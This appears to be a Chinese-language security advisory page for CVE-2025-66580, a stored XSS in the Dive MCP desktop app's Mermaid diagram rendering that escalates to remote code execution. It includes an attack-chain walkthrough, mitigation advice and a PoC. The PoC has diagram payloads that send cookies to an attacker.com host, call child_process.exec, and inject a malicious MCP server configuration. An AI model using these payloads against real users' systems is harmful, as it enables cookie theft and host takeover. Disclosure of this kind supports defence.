IPBUF安全漏洞报告
English
CVE-2025-66580 CVSS 9.6 严重

CVE-2025-66580 | Dive Mermaid图表存储型XSS导致RCE漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-66580
漏洞类型
存储型XSS / 远程代码执行
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Dive (MCP Host Desktop Application)

相关标签

CVE-2025-66580存储型XSS远程代码执行RCEMermaid图表MCPDiveOpenAgentPlatformCVSS 9.6严重漏洞

漏洞概述

Dive是一款开源的MCP(Model Context Protocol)主机桌面应用程序,用于与支持函数调用的LLM(大语言模型)进行集成。该应用在0.11.1版本之前的Mermaid图表渲染组件中存在严重的存储型跨站脚本(Stored XSS)漏洞。攻击者可以利用Mermaid图表渲染功能注入恶意的JavaScript代码(通过javascript:协议),进而注入恶意的MCP服务器配置。当受害者查看或点击包含恶意代码的节点时,会触发远程代码执行(RCE),导致攻击者完全控制受害者的主机系统。此漏洞无需任何认证即可利用,但需要用户交互(如查看恶意图表或点击节点),攻击复杂度较低。由于CVSS评分高达9.6,属于严重级别,机密性、完整性和可用性均受到严重影响。建议用户立即升级到0.11.1或更高版本以修复此漏洞。

技术细节

该漏洞根源在于Dive应用对Mermaid图表输入内容的过滤和转义不充分。Mermaid是一种用于生成图表的声明式语言,广泛应用于各种文档和Web应用中。Dive应用在渲染Mermaid图表时,未能正确过滤javascript:等危险协议前缀,导致攻击者可以在图表节点中嵌入恶意链接。攻击者构造包含javascript:alert(document.cookie)或类似payload的Mermaid图表代码,当应用渲染该图表时,恶意脚本会在受害者浏览器或应用上下文中执行。更危险的是,攻击者可以结合MCP服务器配置注入功能,通过JavaScript代码动态修改MCP服务器配置,将受害者指向攻击者控制的恶意MCP服务器。由于Dive应用具有执行本地命令的能力(作为MCP Host),恶意MCP服务器可以发送执行任意系统命令的请求,从而实现远程代码执行。攻击者可以利用此漏洞窃取敏感信息、安装恶意软件或建立持久化后门。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意Mermaid图表的Dive文档,该图表包含javascript:协议或script标签的XSS payload
STEP 2
步骤2
攻击者通过各种渠道(文件分享、协作平台等)将恶意文档传播给目标用户
STEP 3
步骤3
受害者在Dive应用中打开恶意文档,应用渲染Mermaid图表时执行嵌入的JavaScript代码
STEP 4
步骤4
恶意JavaScript代码利用Dive应用的MCP配置接口,注入指向攻击者控制的恶意MCP服务器的配置
STEP 5
步骤5
当受害者与图表中的节点进行交互(如点击)时,Dive应用连接到恶意MCP服务器
STEP 6
步骤6
恶意MCP服务器发送执行任意系统命令的请求,通过Dive应用在受害者主机上执行,导致远程代码执行(RCE)
STEP 7
步骤7
攻击者成功获取受害者主机的完全控制权,可进行数据窃取、恶意软件安装或建立持久化后门等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66580 PoC - Malicious Mermaid Diagram for Dive # This PoC demonstrates the Stored XSS vulnerability in Dive's Mermaid rendering # When rendered, it injects a malicious MCP server configuration mermaid_payload = ''' graph TD A[Click Me] --> B["<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] A --> C["<a href='javascript:require(\"child_process\").exec(\"calc\")'>Click for RCE</a>"] style A fill:#f9f,stroke:#333,stroke-width:4px style B fill:#ff9,stroke:#333 style C fill:#9f9,stroke:#333 ''' # Alternative PoC - MCP Server Configuration Injection mcp_injection_payload = ''' graph LR A[Start] --> B["<img src=x onerror='fetch(\"/api/mcp/config\",{method:\"POST\",body:JSON.stringify({server:\"https://malicious-mcp.attacker.com\"})})'>"] ''' # Exploit scenario: # 1. Attacker creates a Dive document with malicious Mermaid diagram # 2. Victim opens the document # 3. Mermaid renders the diagram, executing embedded JavaScript # 4. JavaScript injects malicious MCP server configuration # 5. When victim clicks the node, RCE is triggered via the malicious MCP server print('[+] CVE-2025-66580 PoC for Dive XSS->RCE') print('[+] Payload length:', len(mermaid_payload)) print('[+] This payload can be embedded in a Dive document') print('[+] Fixed in version 0.11.1')

影响范围

Dive < 0.11.1

防御指南

临时缓解措施
如果无法立即升级,请采取以下临时缓解措施:1)避免打开来源不明的Dive文档;2)在查看包含Mermaid图表的内容时保持警惕;3)禁用或限制JavaScript执行(可能影响正常功能);4)监控MCP服务器配置变更;5)使用沙箱环境运行Dive应用;6)启用主机的安全监控和日志审计功能。建议尽快完成版本升级以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表